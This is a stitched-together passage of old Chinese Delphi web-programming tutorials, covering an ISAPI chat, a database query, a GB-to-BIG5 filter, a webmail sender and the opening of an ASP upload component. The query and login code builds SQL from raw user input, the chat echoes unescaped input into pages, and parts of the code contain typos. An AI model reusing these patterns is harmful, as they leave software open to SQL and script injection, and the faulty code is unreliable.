---- （如果想创建ISAPI或NSAPI应用程序，只需选择“ISAPI/NSAPI Dynamic Link Library”，后几步操作不变。）

---- 2.系统自动创建一个非可视的WebModule1组件，我们按以下步骤给程序添加控制和代码：

---- （1）、双击WebModule1的Actions属性，弹出“Editing WebModule1.Actions”对话框；

---- （2）、单击Add按钮，添加一个新行WebActionItem1

---- （3）、单击WebActionItem1，在Object Inspector中将WebActionItem1的Default属性设置为True；这样设置使访问CGI.EXE时直接访问此页面。

---- （4）、单击Add按钮，添加一个新行WebActionItem2

---- （5）、单击WebActionItem2，在Object Inspector中将WebActionItem2的PathInfo属性设置为“\Info”；即访问此页面的路径为CGI.EXE\Info。

---- （6）、在Object Inspector中双击WebActionItem1的OnAction事件，添加代码。将留言板页面的HTML语句赋给Response.Content属性，使用户访问WEB服务器应用程序时显示。

---- （7）、在Object Inspector中双击WebActionItem2的OnAction事件，添加代码处理留言板页面传回的信息，同时显示相关信息通知用户。其中涉及Request.ContentFields.Values['index']及Request.ContentFields.Strings[counts]两个属性的应用。

---- Request.ContentFields.Values['UserName']是指留言板页面中name="UserName"的控件中的数据信息。

---- Request.ContentFields.Strings[Counts]是指留言板页面传过来各项数据及对应的控件名。以Counts区分其为哪项数据，其数值为留言板页面传输数据项的顺序号。

---- 数据存储方式我采用文本文件存储，如果网友的主页人气鼎盛也可考虑改用数据库存储。

---- 以下是完整的程序代码

---- 在DELPHI3，IIS4.0/PWS，IE4.0中运行通过。
///////////////////////////////////////////////////////////////////////
步骤：
简单的实现方法：
1。创建一个webserver容器，在File|new中选择ispai
2。放上chat：Tpageproducer
chatview:Tpageproducer //others look up my source code
3.在editing webserver.action 中写入pubchat /chat, pubchat1 /view

在chatHTMLTag事件中写程序，tagparams传入,replacetext返回相应位置的字串
在chat的htmldoc属性中写入：

<HTML>
<HEAD>
<TITLE>Blubird Web Site chat</TITLE>
</HEAD>
<BODY>
<H4>
<P>
<#chat> {notes: chat is a stirng returned by your program }

<P>
</H4>
<HR>
</BODY>

3。在html中实现 isapi的连接,并且里利用web server（如：IIS） 建立服务
4. 其他方法有很多，请各位打虾多多交流
源码：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, HTTPApp, Db, DBTables, DBWeb,
ExtCtrls;

type
Twebserver = class(TWebModule)
PageProducer1: TPageProducer;
PageProducer2: TPageProducer;
chat: TPageProducer;
DataSource1: TDataSource;
Table1: TTable;
chatview: TPageProducer;
procedure PageProducer1HTMLTag(Sender: TObject; Tag: TTag;

      const TagString: String; TagParams: TStrings;
var ReplaceText: String);
procedure webserverWebitem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse;
var Handled: Boolean);

procedure
chatHTMLTag(Sender: TObject; Tag: TTag;
const
TagString: String; TagParams: TStrings;
var
ReplaceText: String);
procedure
webserverpubchatAction(Sender: TObject; Request: TWebRequest;
Response: TWebResponse; var Handled:
Boolean);

    procedure webserverCreate(Sender: TObject);
procedure webserverpubchat1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse;
var Handled: Boolean);
procedure
PageProducer2HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings;
var ReplaceText: String);
private
chattxt:string;
{ Private
declarations }
public
{ Public declarations }
end;
var
webserver: Twebserver;

implementation

{$R *.DFM}

procedure
Twebserver.PageProducer1HTMLTag(Sender: TObject; Tag: TTag;

const TagString: String; TagParams: TStrings; var ReplaceText: String);
begin
if comparetext(tagstring,'info')=0 then
begin
replacetext:='your adress is :'+Request.ContentFields.Values['adress']

+'<P>Time is'+Datetimetostr(NOW)
+'<P>your name is '+Request.ContentFields.Values['name'];
end;
end;

procedure Twebserver.webserverWebitem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin

if request.ContentFields.Values['name']<>'' then
Response.content:=pageproducer1.content
else
Response.content:=pageproducer2.content
end;

procedure Twebserver.chatHTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings; var ReplaceText: String);
var i,count:integer;

begin
chattxt:='';
if comparetext(tagstring,'chat')=0 then
begin
table1.Edit;
table1.first;
table1.insert;
table1.FieldByName('name').asstring:=Request.ContentFields.Values['name'];

table1.FieldByName('content').asstring:=Request.ContentFields.Values['conten
t'];
table1.FieldByName('ip').asstring:=Request.RemoteAddr;
Table1.fieldbyname('time').asstring:=timetostr(NOW);
table1.Post;
count:=table1.RecordCount;
table1.first;
if count<20 then
begin
for i:=1
to count do
begin
chattxt:=chattxt+'<HR><P>'+table1.fieldbyname('name').asstring+'说：
'+
table1.fieldbyname('content').asstring+'(' +
table1.FieldByName('ip').asstring+'  '+table1.Fieldbyname('time').asstr

ing+')';
table1.Next;
end;
replacetext:=chattxt;

end
else
begin
for i:=1
to 20 do
begin
chattxt:=chattxt+'<HR><P>'+table1.fieldbyname('name').asstring+'说:'+
table1.fieldbyname('content').asstring+
'('+
table1.FieldByName('ip').asstring+'  '+table1.Fieldbyname('time').
asstring+')';
table1.Next;
end;
replacetext:=chattxt;

end;
end;
//
if comparetext(tagstring,'view')=0 then

begin
count:=table1.RecordCount;
table1.first;
if count<20 then
begin
for i:=1 to count do
begin
chattxt:=chattxt+'<HR><P>'+table1.fieldbyname('name').asstring+'说：
'+
table1.fieldbyname('content').asstring+'(' +
table1.FieldByName('ip').asstring+' '+table1.Fieldbyname('time').asstr
ing+')';
table1.Next;
end;
replacetext:=chattxt;

end
else
begin
for i:=1 to 20 do
begin
chattxt:=chattxt+'<HR><P>'+table1.fieldbyname('name').asstring+'说:'+

       table1.fieldbyname('content').asstring+
'('+
table1.FieldByName('ip').asstring+'  '+table1.Fieldbyname('time').
asstring+')';
table1.Next;
end;
replacetext:=chattxt;

end;
end;

//

end;
procedure
Twebserver.webserverpubchatAction(Sender: TObject;
Request:
TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
if request.ContentFields.Values['name']<>'' then
Response.content:=chat.Content;

end;

procedure Twebserver.webserverCreate(Sender: TObject);
var i:integer;
begin
chattxt:='';
table1.Active:=true;
table1.first;
for i:=1 to 20 do
begin
table1.next;
end;
while not table1.Eof do
begin
table1.Delete;
table1.next;
end;
end;

procedure
Twebserver.webserverpubchat1Action(Sender: TObject;
Request:
TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
Response.content:=chatview.Content;

end;

end.


响应用户输入查询数据库

---- 在Delphi 3 的Demos 中 提 供 了 简 单 的Web Server 应 用 程 序 开 发 的 范 例， 但 没 有 涉 及 到 响 应 用 户 输 入 的 问 题。 而 响 应 用 户 的 输 入 或 选 择， 并 通 过 数 据 库 查 询 来 返 回 查 询 结 果， 是 我 们 编 写Web Server 应 用 程 序 的 一 种 主 要 形 式。

---- HTML 文 档 中 用 户 输 入 主 要 是 通 过< FORM > 语 句 段， 并 支 持POST、PUT、GET、HEAD 等 方 法， 而Web Server 应 用 程 序 是 怎 样 接 收 到 客 户 端 用 户 的 输 入（ 选 择） 请 求 信 息 呢 ？ 我 们 知 道， 在HTTP 协 议 中， 浏 览 器 客 户 端 向Web Server 应 用 程 序 传 送 请 求 数 据 主 要 是 通 过URL 和CONTENT 部 分。 例 如 在

URL：http://www.gtgaj.gov/scripts/wdcx.dll
/runquery?gdnd=1992&bgqx= 长 期

---- 中，gdnd=1992&bgqx= 长 期 是 数 据 参 数， 它 请 求ISAPI 程 序wdcx.dll（ 对 应 的 动 作 事 件 为/runquery， 若 使 用 确 省 动 作 事 件， 则 不 需 要 这 个 字 符 串）， 把 归 档 年 代(gdnd) 为1992 年 而 且 保 管 期 限(bgqx) 为 长 期 的 文 档 信 息 返 回 到 浏 览 器 并 显 示， 这 种 方 法 一 般 应 用 在 数 据 量 比 较 少 的 情 况 下， 优 点 是 比 较 容 易 输 入 参 数， 可 直 接 在URL 中 输 入 请 求 信 息， 缺 点 是 返 回 数 据 量 不 能 太 大， 并 影 响URL 的 显 示， 在 参 数 比 较 多 时， 将 出 现 一 个 长 串 的URL。 而 在CONTENT 中 保 存 数 据 信 息 的 优 点 是 不 影 响URL 的 显 示， 而 且 允 许 返 回 的 数 据 量 较 大， 缺 点 是 用 户 只 能 使 用< FORM > 语 句 段 让 浏 览 器 生 成 请 求 信 息， 不 能 直 接 在URL 中 输 入。 在POST、PUT、GET 和HEAD 四 种 方 法 中， 除 了POST 方 法 使 用CONTENT 向Web Server 应 用 程 序 传 送 数 据 以 外， 其 它 方 法 都 是 通 过URL 来 传 送 数 据 的。

---- Delphi 3 中 提 供 了 装 载 浏 览 器 请 求 信 息 的TWebRequest 对 象， 利 用 该 对 象 的methodtype 属 性 即 可 得 知HTTP 传 送 请 求 信 息 的 方 法， 再 利 用 该 对 象 的ContentFields 或QueryFields 属 性 即 可 将HTTP 传 送 的 信 息 进 行 分 析， 非 常 容 易 使 用。 例 如， 对 于CONTENT 中 的 数 据， 我 们 可 直 接 使 用Request.ContentFields.Values[' 用 户 输 入 项 的 名 称'] 来 读 取 用 户 的 输 入 信 息； 而 对 于URL 中 的 数 据， 则 可 直 接 使 用Request.QueryFields.Values[' 用 户 输 入 项 的 名 称'] 来 读 取。

---- 下 面 就 通 过 一 个 简 单 的 例 子 来 介 绍 如 何 开 发 一 个 响 应 用 户 输 入 的 数 据 库 查 询Web Server 程 序

---- 首 先， 在Web 服 务 器 端 安 装 数 据 库 引 擎BDE, 并 设 置 好 数 据 库 别 名wsda， 指 向 一 个 包 含 归 档 部 门、 归 档 年 代、 卷 号、 文 件 日 期、 文 件 字 号、 文 件 作 者、 标 题 等 字 段 的 数 据 库 文 件wsdak.dbf。

---- 接 着 建 立 一 个HTML 文 件wsdacx.htm， 放 在Web 服 务 器 的 确 省 目 录 下（ 如c:\webshare）, wsdacx.htm 的 内 容 如 下：

< HTML >< HEAD >< TITLE >文书档案查询< /TITLE >
< /HEAD >
< BODY >
< h1 >文书档案查询卡< /h1 >
< HR >
< FORM action="/scripts/wdcx.dll" method=post >
请输入标题关键词:< input type="text"
size="16" Maxlength="16" name="btgjc" >< BR >
< INPUT TYPE=SUBMIT VALUE="查询" >
< INPUT TYPE=RESET VALUE="重填" >
< /FORM >
< HR >
< /BODY >< /HTML >

---- ( 在 本 例HTML 的< FORM > 语 句 中， 使 用 的 是POST 方 法, 可 改 为 其 他 方 法 而 无 需 修 改 下 面 的ISAPI 源 程 序, 为 简 单 计， 本 例 只 列 出 了 一 个 用 户 输 入 项）。

---- 在Delphi 中 新 建 一 个 基 于ISAPI 的Web Server Application， 增 加 一 个 确 省 的 的 动 作 事 件， 其 代 码 如 下：

procedure TWebModule1.WebModule1Web
ActionItem1Action(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled: Boolean);
var
MyDB : TDatabase;
MyQuery : TQuery;
Count : Integer;
Input: TStrings;
Begin
Input:=nil;
Case request.methodtype of
mtpost: Input := request.ContentFields;
mtget,mtput,mthead: Input := request.QueryFields;
end;
if input.values['btgjc']< >'' then
begin
MyDB := TDatabase.Create(nil);
MyQuery := TQuery.Create(nil);
try
MyDB.AliasName := 'wsda';
MyDB.DatabaseName := 'wsda';
MyQuery.DatabaseName := MyDB.DatabaseName;
response.content:=
'< HTML >< HEAD >< TITLE >查询结果
< /TITLE >< /HEAD >'#13+
'< BODY >'#13+
'< H2 >< font face="隶书" color="green" >
查询结果信息:< /font >< /H2 >'#13+
'< table border=1 >'#13+
'< tr >'#13+
'< th >卷号< /th >'#13+
'< th >文件日期< /th >'#13+
'< th >文件字号< /th >'#13+
'< th >标题< /th >'#13+
'< tr >'#13; //#13是换行符
Myquery.sql.clear;
Myquery.sql.add('select * from wsdak.dbf '+
'where (标题 like "%'+input.values['btgjc']+'%")');
Myquery.open;
Myquery.first;
Count:= 0;
while not MyQuery.eof do
begin
response.content:=response.content+'< tr >'#13+
'< td >'+MyQuery.FieldByName('卷号')
.AsString+'< /td >'#13+
'< td >'+MyQuery.FieldByName
('文件日期').AsString+'< /td >'#13+
'< td >'+MyQuery.FieldByName('文件字号')
.AsString+'< /td >'#13+
'< td >'+MyQuery.FieldByName
('标题').AsString+'< /td >'#13+
'< tr >'#13;
count:=count+1;
MyQuery.Next;
end;
response.content:=response.content+
'共查询到'+inttostr(count)+'条信息< br >';
finally
response.content:=response.content+'
< /table >< /BODY >< /HTML >';
MyQuery.Close;
MyDB.Close;
MyQuery.Free;
MyDB.Free;
end;
end
else response.content:='请先输入标题关键词：';
end;

---- 需 要 注 意 的 是： 必 须 在 本 单 元 文 件 的uses 子 句 中 手 工 添 加db 与dbtables 单 元。 为 简 单 计， 本 例 并 没 有 使 用TTable、Tquery、Tdatasource、TpageProducer、TqueryProducer 等 组 件， 有 兴 趣 的 读 者 不 妨 一 试。

---- 将project 存 为wdcx.dpr, 编 译 后 放 到Web 服 务 器 的 可 执 行 文 件 路 径（ 如C:\WebShare\Scripts\）， 即 可 响 应HTML 文 件wsdacx.htm 的 用 户 输 入， 并 返 回 数 据 库 查 询 结 果。


编写ISAPI过滤器

用delphi编写ISAPI过滤器
实 现WEB 站 点 同 时 对GB 码 和BIG 码 的 支 持

--------------------------------------------------------------------------------

---- 目 前 由 于 汉 字 内 码 的 不 统 一， 互 联 网 上 的 中 文 站 点 为 了 实 现 对 于 不 同 用 户 的 支 持， 一 般 采 取 建 立 两 套 主 页， 分 别 用GB 和BIG 码 来 编 写。 这 样 做 显 然 要 增 加 站 点 的 维 护 工 作， 更 新 主 页 时 要 同 时 更 新 两 部 分。 而 且 如 果 主 页 内 容 是 实 时 更 新 的， 采 用 手 工 维 护 两 套 主 页 的 方 法 显 然 不 行 了。 本 文 介 绍 了 用ISAPI 过 滤 器 来 动 态 产 生 另 外 一 套 内 码 主 页 的 方 法， 这 样 就 可 以 只 制 作 一 套 主 页 就 同 时 支 持GB 码 和BIG5 码。

---- 基 本 的 思 路， 编 写 一 个ISAPI 过 滤 器， 对 于 所 有 最 终 返 回 给 用 户 的HTML 文 本， 实 行 内 码 转 换。 这 样 用 户 看 到 的 将 是 他 期 望 的 编 码 方 式。 ISAPI 过 滤 器 可 以 作 为WEB Server 横 向 功 能 扩 展。 当 某 个 预 先 定 义 好

---- 的 服 务 器 端 的 事 件 发 生 时，IIS 就 调 用 用 户 定 义 好 的 过 程， 此 时 就 可 以 通 过 修 改IIS 传 来 的 数 据 来 改 变IIS 的 行 为。IIS 预 定 义 的 事 件 如 下：

SF_NOTIFY_READ_RAW_DATA

---- 当IIS 要 从 用 户 读 入 数 据 时 发 生。 过 滤 器 可 以 在IIS 处 理 他 们 之 前 检 查 甚 至 修 改 用 户 输 入 的 原 始 数 据。

---- SF_NOTIFY_PREPROC_HEADERS

---- IIS 预 处 理HTTP 请 求 包 头 后 发 生。 过 滤 器 可 以 检 查 修 改 增 加 包 头。

---- SF_NOTIFY_AUTHENTICATION

---- IIS 试 图 验 证 用 户 身 份 时 发 生。 过 滤 器 可 以 实 现 自 己 的 验 证 方 案。

---- SF_NOTIFY_URL_MAP

---- IIS 试 图 将URL 解 释 为 物 理 文 件 时。 过 滤 器 可 以 将 请 求 重 定 向 到 其 他 的 文 件。

---- SF_NOTIFY_ACCESS_DENIED
---- 当 身 份 验 证 失 败 时 发 生。
---- SF_NOTIFY_SEND_RAW_DATA

---- 当 其 他 程 序 处 理 完，IIS 准 备 将 数 据 发 回 给 用 户 时 发 生。 我 们 的 过 滤 器 就 通 过 此 事 件， 转 换 内 码。

---- SF_NOTIFY_LOG

---- 当IIS 写 记 录 到LOG 文 件 时。 过 滤 器 可 以 搜 集 更 多 的 信 息 写 入 记 录 文 件 中。

---- SF_NOTIFY_END_OF_REQUEST

---- 当 一 个HTTP 请 求 结 束 时 发 生。 过 滤 器 可 以 实 现 基 于 请 求 的 处 理。 由 于 这 是 在IIS 3.0 中 新 增 的，Delphi 中 的ISAPI2.pass 单 元 中 没 有 相 应 的 定 义 可 以 手 工 加 入SF_NOTIFY_END_OF_REQUEST=$80

---- SF_NOTIFY_END_OF_NET_SESSION

---- 连 接 结 束 时。 注 意 如 果 浏 览 器 支 持"keep-alive"， 一 次 连 接 可 能 包 含 几 个HTTP 请 求。 过 滤 器 可 以 用 他 来 释 放 一 些 用 户 的 资 源。

---- 我 们 要 实 现 动 态 的 内 码 转 换， 只 要 过 滤 器 处 理SF_NOTIFY_SEND_RAW_DATA 事 件， 将IIS 处 理 好 的 数 据 转 换 成 需 要 的 内 码 就 可 以 实 现 内 码 的 动 态 转 换。 具 体 程 序 有 两 个 问 题 需 要 注 意：

过 滤 器 只 能 处 理 返 回 是HTML 格 式 的， 其 他 图 片 等 二 进 制 请 求 无 须 也 不 允 许 转 换。

对 于 返 回 的HTML， 只 处 理 实 际 数 据， 其 他HTTP 协 议 的 包 不 应 该 处 理。
编 程
---- 每 个ISAPI 过 滤 器DLL 必 须 输 出 两 个 供IIS 使 用 的 函 数：

---- GetFilterVersion() 和HttpFilterProc()。 下 面 分 别 讲 述。

---- GetFilterVersion()

---- 用 于 初 始 化 和 处 理 事 件 的 登 记。 例 程 没 有 初 始 工 作 要 做， 只 是 简 单 的 登 记 了 要 处 理 的 两 个 事 件 和 其 他 一 些 标 志。

function GetFilterVersion(var pVer:
THTTP_FILTER_VERSION): BOOL; stdcall;
begin
//过滤器要处理的事件和其他一些标志
pVer.dwFlags := (
SF_NOTIFY_NONSECURE_PORT
//过滤器只在一般端口上使用
or SF_NOTIFY_SEND_RAW_DATA
//处理发送数据事件
or $80 // SF_NOTIFY_END_OF_REQUEST
处理请求结束事件
or SF_NOTIFY_ORDER_DEFAULT
//过滤器使用缺省优先级
);
//过滤器使用的版本HTTP_FILTER_REVISION
返回当前版本
pVer.dwFilterVersion := HTTP_FILTER_REVISION;
//过滤器的描述
pVer.lpszFilterDesc[0]:='A'; pVer.lpszFilterDesc[1]:=#0;
result:=true; //初始化成功
end;

HttpFilterProc()

---- 由IIS 回 调， 是 过 滤 器 的 实 际 处 理 部 分。
---- 其 中 参 数Notificationtype 是 该 调 用 的 事 件 类 型， 如 果 过 滤 器 处 理 多 个 事 件， 可 以 检 查 该 值 来 区 分 事 件。
---- PvNotification 是 一 个 根 据 事 件 类 型 可 变 结 构 的 参 数。 对 于SF_NOTIFY_SEND_RAW_DATA， 他 的 结 构 如 下：

THTTP_FILTER_RAW_DATA = record
pvInData: Pointer;
//指向数据区
cbInData: DWORD;   //数据大小
cbInBuffer:
DWORD;   //缓冲的大小
dwReserved: DWORD;
//保留
end;

---- 其 中 的pvInData 就 是 要 发 送 的 数 据 指 针。 其 他 的 结 构 请 参 看 有 关 资 料 这 里 不 再 详 述。

---- 第 一 个 参 数var pfc: THTTP_FILTER_CONTEXT 是 过 滤 器 的 环 境 指 针， 其 中 的pFilterContext 是 一 个 用 户 使 用 的 指 针， 用 来 保 存 和 一 个HTTP 连 接 相 关 的 信 息， 这 样 过 滤 器 可 以 区 分 出 正 在 处 理 的 是 否 是 以 前 曾 处 理 过 的 连 接。 因 为 一 个 请 求 将 会 产 生 多 个SF_NOTIFY_SEND_RAW_DATA 事 件， 过 滤 器 必 须 能 够 区 分 他 们。

---- 程 序 的 流 程 是： 当 连 接 建 立 后，pFilterContext 被IIS 初 始 化 为NIL(0)， 第 一 次SF_NOTIFY_SEND_RAW_DATA 调 用 时， 过 滤 器 要 检 查 返 回 的MIME， 如 果 不 是HTML 则 将pFilterContext 置 为pointer(2)（ 将 指 针 当 作 变 量 用， 因 为 我 们 只 要 一 个 标 志）， 随 后 的 发 送 事 件 调 用 将 直 接 返 回。 请 求 结 束 后， 发 生SF_NOTIFY_END_OF_REQUEST 事 件， 过 滤 程 序 将pFilterContext 复 位 为nil。

---- 如 果 是HTML， 则 将pFilterContext 置 为pointer(1)， 随 后 的 调 用 就 将 对 数 据 进 行 内 码 的 转 换， 然 后 将pFilterContext 置 为pointer(3)。 如 果 还 有 后 续 的 调 用， 则 再 将pFilterContext 置 为pointer(1)， 直 到 全 部 数 据 发 送 完 成。

function HttpFilterProc(var pfc: THTTP_FILTER_CONTEXT;
Notificationtype: DWORD; pvNotification: Pointer): DWORD; stdcall;
var
p:PHTTP_FILTER_RAW_DATA;
i:integer;
pc:pchar;
begin
if Notificationtype=$80 then
//是SF_NOTIFY_END_OF_REQUEST将pFilterContext复位
begin
pfc.pFilterContext:=nil;
end
else
begin
p:=PHTTP_FILTER_RAW_DATA(pvNotification);
pc:=p^.pvInData;
case integer(pfc.pFilterContext) of
0: //第一次调用，要检查MIME
begin
pfc.pFilterContext:=pointer(2);
i:=0;
while i
----
下 面 是 完 整 的 程 序 文 件（gb2bigfiler.dpr）， 其 中 的u_gb2big_tab 单 元 完 成GB 码 到BIG5， 码 的 转 换， 这 里 不 再 细 述， 有 兴 趣 的 读 者 可 以 到 后 文 提 到 的 笔 者 的 站 点 去 下 载 源 码。

library gb2bigfiler;
uses
SysUtils,math, Classes, windows,
isapi2, //delphi中ISAPI过滤器单元
u_gb2big_tab; //包含将GB码转换成BIG5码的过程gb2big

//下面两个函数的定义见上文
function HttpFilterProc(...); begin ...
end;
function GetFilterVersion(...); begin ...
end;
exports
HttpFilterProc index 1, GetFilterVersion
index 2;
Begin end.

---- 读 者 一 定 注 意 到 了， 这 个 过 滤 器 将 所 有 返 回 的HTML 都 转 换 成 了BIG5 码， 那 么GB 码 又 如 何 看 到 呢 ？ 当 然 可 以 在 过 滤 器 中 检 查 一 些 环 境 变 量 来 决 定 用 户 所 要 求 的 是GB 还 是BIG5， 可 是 这 样 做 除 了 比 较 麻 烦 外， 还 存 在 效 率 问 题， 因 为 每 个 请 求 都 要 被 过 滤 器 处 理。

---- 笔 者 采 用 的 方 法 是 利 用IIS4.0 中 可 以 设 置 多 个 站 点 的 功 能， 设 置 两 个 站 点。 一 个 不 含 过 滤 器， 所 以GB 内 容 高 效 直 接 的 返 回 给GB 用 户； 而 另 一 个 站 点 使 用 另 外 一 个 端 口 比 如81， 所 有 虚 拟 目 录 和 前 一 个 站 点 一 样， 将 过 滤 器 加 载 在 该 站 点 上， 这 样 所 有 向81 端 口 的 请 求， 都 将 被 过 滤 器 转 换 成BIG5 码 返 回 给 用 户。

---- 下 面 简 述 一 下 具 体 配 置 过 程。 首 先 在delphi 中 选 择 新 建 一 个DLL， 输 入 程 序 源 码， 编 译 后 生 成gb2bigfiler.DLL 文 件。 在IIS4.0 的 管 理 控 制 台 中， 选" 新 建 站 点"， 主 目 录 和 缺 省 站 点 一 样， 端 口 设 为81， 在ISAPI 过 滤 器 中 选 择" 添 加"， 将gb2bigfiler.DLL 加 入。

---- 设 置 好 后， 可 以 浏 览81 端 口（ 例 如：http://www.yoursite.com:81/your.html）， 这 时 原 来GB 码 的 内 容 就 变 成 了BIG5 码 了。

---- 有 兴 趣 的 读 者 可 以 访 问http://202.96.122.45/qq， 起 始 页 可 以 选 择 内 码， 随 后 浏 览 的 内 容 包 括 静 态 的HTML 文 本， 放 在 数 据 库 中 的《 红 楼 梦》、《 唐 诗》、 完 全 动 态 更 新 的BBS， 都 可 以 做 到 用 两 种 内 码 显 示。


开发WEBMAIL程序

空军雷达学院研究生队
宾雪莲 杨玉海
---- 通常，实现WEBMAIL采用mailto.exe的CGI、在HTML文件中写入“< form action="mailto:电子邮箱地址" method=post >”语句或者调用WINDOWS API函数。采用WINDOWS API 和在HTML文件中写入“< form action="mailto:电子邮箱地址" method=post >”语句都要求用户的浏览器装入EXCHANGE、OUTLOOKEXPRESS、或OUTLOOK等软件，而且还有一些浏览器不支持MAILTO语句。而采用CGI的形式实现WEBMAIL对用户的浏览器没有要求，但效率不高。CGI技术正在逐渐被ISAPI/NSAPI技术所取代。本文就来讨论一下采用ISAPI技术实现WEBMAIL。

---- 使用Delphi 4开发Web Server程序是非常简单的，Delphi 4中提供了大量的元件和对象，支持Web Server程序的开发。 下面通过一个例子来介绍如何利用DELPHI开发一个响应用户输入的ISAPI的WEBMAIL程序。只有在发送服务器上注册的用户才能通过在浏览器发送邮件。为了简单，程序没有对传送的数据提供保密。

---- 首先，在WEB服务器端安装数据库引擎dbe,并设置好数据库别名：yh,指向一个包含用户名和用户密码的数据库文件user.db。接着建立两个HTML文件，名字分别为：dl.html,qd.html，放在WEB服务器的缺省目录下（如：C：\INETPUB\WWWROOT）。

dl.html的内容如下：
< html >
< head >< title > 发送邮件系统< /title >< /head >
< body >
< h1 >发送邮件系统< /h1 >
< p > 请输入您的用户名及密码。< /p >
< form method=”post” action="/scripts/xsmd" >
< p >用户名：< input type="text" length=10
name="username" >
密码：< input type="password"
length=10 name="password" >< /p >
< p >< input type="submit" value="确定" >
< input type="reset" value="清除" >< /p >
< /form >
< /body >
< /html >
qd.html文件内容如下：
< html >< head >< title >填表< /title >< /head >

< body >
< form method=”post” action="feedback" >
< p >请填入接收邮件地址:toaddress:
< input type=”text” length=20
name=”toaddress” >< /p >
< p >请填入主题。< input type="text"
length=20 name="subject" >< /p >
< p >内容：< /p >
< p >< input type=“textarea”length=40
width=40 name=”body” >< /p >
< p >< input type="submit" value="确定" >
< input type="reset" value="清除" >< /p >
< /form >
< /body >
< /html >

---- 在DELPHI中新建一个基于ISAPI的WEB SERVER APPLICATION，手动增加nmsmtp1,query1,pageproducer1。

---- 其中：pageproducer1的property: htmlfile：c:\inetpub\www.root\qd.html。nmsmtp1的 property:host(发送邮件服务器的地址。)在这里为smtp.netease.com.。port:25。 全局变量为： sername:string;flag:boolean;

增加一个路径为/feedback的动作项，其代码如下：
procedure TWebModule1.WebModule1WebActionItem1
Action(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled: Boolean);
Var Count:integer;
S:string;
Begin
Query1.close;
Query1.sql.clear;
S:=’select count(username) from
user.db where username=”’;

  S:=s+request.contentfields.values[‘username’]+’”’;
S:=s+’
and password=”’;
S:=s+request.contentfields.values[‘psword’]+’”’;
Query1.sql.add(S);
Query1.open;
If query1.count=0
then
response.content:=’< html >< head >< title >
< /title
>< body >用户名、密码不正确，请重新输入
< /body >< /html
>’
Else
Username:=request.contentfields.values[‘username’];
Response.content:=pageproducer1.content;
End;

再增加一个路径为/sendmail 的动作项，
它的程序代码如下：
procedure TWebModule1.WebModule1Web

     ActionItem2Action(Sender: TObject;
Request: TWebRequest; Response:
TWebResponse; var Handled: Boolean);
Var
body:string;
Begin
Flag:=true;
body:=request.contentfields.values[‘body’];
Pageproducer1.htmldoc.clear;
Pageproducer1.htmldoc.add(‘< html
>< body >’);
Nmsmtp1.postmessage.clear;
Nmsmtp1.postmessage.fromaddress:=username+
’@netease.com’;
Nmsmtp1.postmessage.from:=username;
Nmsmtp1.postmessage.body.add(body);
Nmsmtp1.postmessage.toaddress.add
(request.contentfields.values[‘toaddress’]);
Nmsmtp1.postmessage.subject:=
request.contentfields.values[‘subject’]；
Nmsmtp1.connect;
If
flag=true then begin  Nmsmtp1.sendmail;

nmsmtp1.disconntent;end
pageproducer1.htmldoc.add
(‘< /body >< /html >’);
response.content:=pageproducer1.content;

end;

增加nmsmtp1的事件如下：
procedure TWebModule1.NMSMTP1Connect(Sender: TObject);
begin
pageproducer1.htmldoc.add
('< p >已经和发送邮件服务器连接< /p >');
end;

procedure TWebModule1.NMSMTP1Connection
Failed(Sender: TObject);
begin
flag:=false;
pageproducer1.htmldoc.add
('< p >连接失败< /P >');
end;

procedure TWebModule1.NMSMTP1ConnectionRequired
(var Handled: Boolean);
begin
pageproducer1.htmldoc.add('< p >要求进行连接< /p >');
end;

procedure TWebModule1.NMSMTP1Failure(Sender: TObject);

begin
pageproducer1.htmldoc.add('< p >发送邮件失败< /p
>');
flag:=false;
end;

procedure TWebModule1.NMSMTP1Header
Incomplete(var handled:
Boolean;
hiType: Integer);
begin
pageproducer1.htmldoc.add('< p >head不完整< /p >');
flag:=false;
end;

procedure TWebModule1.NMSMTP1InvalidHost
(var Handled: Boolean);
begin
pageproducer1.htmldoc.add('< p >
发送邮件服务器地址无效< /p >');
flag:=false;
end;

procedure TWebModule1.NMSMTP1RecipientNot
Found(Recipient: String);
begin
pageproducer1.htmldoc.add
('< p >接受邮件地址不正确< /p >');
flag:=false;
end;

procedure TWebModule1.NMSMTP1Success(
Sender: TObject);
begin
pageproducer1.htmldoc.add('< p >

成功发送邮件< /p >');
end;

---- 将project存为sendmail.dpr，编译后放到WEB服务器的可执行文件路径下（如：c:\intpub\scripts）,即可响应HTML文件dl.htm的用户输入，并且如果用户的用户名及密码正确则可进入发送邮件的页面，用户填写接受邮件地址及主题、内容后即可发送邮件。此程序在NT SERVER上调试通过。


用DELPHI为ASP开发文件上载组件

ＡＳＰ(Active Server Page)是微软公司的产品，由于它编程很容易上手，能快速开发功能强大的动态网站，现在很多网站（特别是Intranet/Extranet内部网）采用了ＮＴ＋ＩＩＳ＋ＡＳＰ的模式，使得ＡＳＰ成为目前较为流行的网站开发脚本语言。在ＷＥＢ服务中，文件上载服务是一个很常见的功能，而ＷＩＮ９Ｘ下的ＰＷＳ没有提供相关组件；ＮＴ下的ＩＩＳ提供了一个Post Acceptor组件，但由于它要检查用户的ＷＷＷ访问权限而变得不太好用；也可以从Internet上下载有关组件，但这些大多都是商业组件，用于下载的是试用版，在使用时间或功能上都有限制。由于ＡＳＰ可以调用标准的ＯＬＥ／ＣＯＭ组件，我们可以用ＶＢ／ＶＣ／ＤＥＬＰＨＩ等高级编程工具根据我们自己的要求来定制自己的ＡＳＰ文件上载组件，满足自己的应用系统要求。

    下面将讨论用ＤＥＬＰＨＩ为ＡＳＰ开发文件上载组件的原理和具体实现过程。

一、文件上载的实现原理

    基于Web方式数据上传，要遵从RFC1867标准，上载的文件数据也不例外。如用下面ＨＴＭＬ页面文件（delphiup.htm）选择上载文件：

<!-- DelphiUp.htm：文件上载界面 -->

<html><head><title>文件上载</title></head><body>

